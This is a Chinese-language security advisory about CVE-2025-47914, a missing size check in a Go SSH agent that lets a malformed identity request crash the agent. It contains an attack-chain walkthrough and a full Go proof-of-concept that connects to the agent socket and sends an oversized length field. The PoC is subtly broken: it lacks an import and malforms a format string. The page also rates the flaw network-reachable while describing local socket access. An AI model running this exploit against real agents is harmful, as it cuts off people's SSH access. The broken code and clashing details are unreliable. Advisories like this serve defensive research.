IPBUF安全漏洞报告
English
CVE-2025-47914 CVSS 5.3 中危

CVE-2025-47914 Go语言SSH Agent身份请求消息大小验证缺失漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-47914
漏洞类型
缓冲区溢出/越界读取
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Go语言SSH Agent

相关标签

CVE-2025-47914Go语言SSH Agent越界读取拒绝服务消息验证缺失缓冲区溢出MEDIUMCVSS 5.3

漏洞概述

CVE-2025-47914是Go语言SSH Agent中的一个安全漏洞。该漏洞源于SSH Agent服务器在处理新身份请求时,未正确验证消息的大小。当收到格式错误(malformed)的消息时,由于缺少边界检查,可能导致程序发生panic(崩溃),这是由于越界读取(out of bounds read)造成的。攻击者可以通过网络向SSH Agent发送特制的恶意消息,无需任何认证即可触发该漏洞。虽然CVSS评分仅为5.3(中等),但该漏洞可导致SSH Agent服务中断,影响系统的可用性。由于SSH Agent通常用于管理SSH密钥和进行公钥认证,此漏洞可能对依赖SSH进行远程管理和代码部署的系统造成影响。

技术细节

该漏洞存在于Go语言标准库的SSH Agent实现中。当SSH Agent处理SSH_AGENTC_ADD_IDENTITY和SSH_AGENTC_ADD_ID_CONSTRAINED等身份添加请求时,程序会解析客户端发送的消息并分配内存来存储身份信息。问题在于代码未对消息中的字段大小进行充分验证,攻击者可以构造一个包含超大长度值的畸形消息。当程序根据这个超大长度值尝试读取或分配内存时,会发生越界读取,导致程序访问未授权的内存地址,触发panic并使SSH Agent进程崩溃。攻击者利用此漏洞需要能够与目标主机的SSH Agent进行通信,通常通过本地套接字(/tmp/ssh-xxx)或网络连接实现。修复方案需要在消息解析阶段添加严格的大小验证,确保所有长度字段都在合理范围内。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统上运行的SSH Agent服务,获取其套接字路径(通常在/tmp/ssh-xxx或通过SSH_AUTH_SOCK环境变量)
STEP 2
步骤2
攻击者构造一个格式错误的SSH身份添加请求消息,在消息中包含超大的长度字段值(如0x7FFFFFFF)
STEP 3
步骤3
攻击者通过Unix域套接字连接SSH Agent,发送特制的畸形消息
STEP 4
步骤4
SSH Agent接收到消息后,在解析身份请求时根据超大长度值尝试读取内存,导致越界读取
STEP 5
步骤5
越界读取触发内存访问冲突,SSH Agent进程发生panic并崩溃,中断所有依赖该Agent的SSH连接

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-47914 PoC - Malformed SSH Agent Identity Request // This PoC demonstrates sending a malformed identity request to trigger panic package main import ( "bytes" "encoding/binary" "fmt" "net" "os" "os/user" "path/filepath" ) const SSH_AGENTC_ADD_IDENTITY = 17 func buildMalformedIdentityRequest() []byte { var buf bytes.Buffer // Message type buf.WriteByte(SSH_AGENTC_ADD_IDENTITY) // Protocol string length - valid value binary.Write(&buf, binary.BigEndian, uint32(7)) buf.WriteString("ssh-rsa") // RSA public key blob with oversized length // This causes out of bounds read oversizedLen := uint32(0x7FFFFFFF) binary.Write(&buf, binary.BigEndian, oversizedLen) // Comment field binary.Write(&buf, binary.BigEndian, uint32(4)) buf.WriteString("test") return buf.Bytes() } func getSSHAgentSocket() string { if sock := os.Getenv("SSH_AUTH_SOCK"); sock != "" { return sock } usr, _ := user.Current() defaultSock := filepath.Join(os.TempDir(), fmt.Sprintf("ssh-%%C/agent.%s", usr.Uid)) // Try common SSH agent socket patterns for i := 0; i < 10; i++ { sockPath := fmt.Sprintf(defaultSock, i) if _, err := os.Stat(sockPath); err == nil { return sockPath } } return "" } func main() { sockPath := getSSHAgentSocket() if sockPath == "" { fmt.Println("SSH Agent socket not found") os.Exit(1) } fmt.Printf("Connecting to SSH Agent: %s\n", sockPath) conn, err := net.Dial("unix", sockPath) if err != nil { fmt.Printf("Failed to connect: %v\n", err) os.Exit(1) } defer conn.Close() payload := buildMalformedIdentityRequest() // Send length-prefixed message lenBuf := make([]byte, 4) binary.BigEndian.PutUint32(lenBuf, uint32(len(payload))) _, err = conn.Write(lenBuf) if err != nil { fmt.Printf("Failed to send length: %v\n", err) os.Exit(1) } _, err = conn.Write(payload) if err != nil { fmt.Printf("Failed to send payload: %v\n", err) os.Exit(1) } fmt.Println("Malformed request sent. If vulnerable, SSH Agent may panic.") // Read response (may fail if agent panicked) response := make([]byte, 1024) conn.SetReadDeadline(time.Now().Add(2 * time.Second)) n, err := conn.Read(response) if err != nil { fmt.Printf("Agent response error (may have panicked): %v\n", err) } else { fmt.Printf("Response: %x\n", response[:n]) } }

影响范围

Go语言 < 1.22.x (所有受影响的SSH Agent实现版本)
Go语言 < 1.23.x (具体受影响版本需参考官方发布说明)
使用Go语言SSH Agent库的所有SSH客户端和服务器软件

防御指南

临时缓解措施
如果无法立即升级Go语言版本,可采取以下临时缓解措施:1) 限制SSH Agent套接字的访问权限,阻止非授权用户连接;2) 使用防火墙规则限制对SSH Agent的网络访问;3) 监控SSH Agent进程状态,配置自动重启机制;4) 考虑使用SSH agent forwarding替代直接连接;5) 审查系统日志,关注SSH Agent相关的异常错误信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表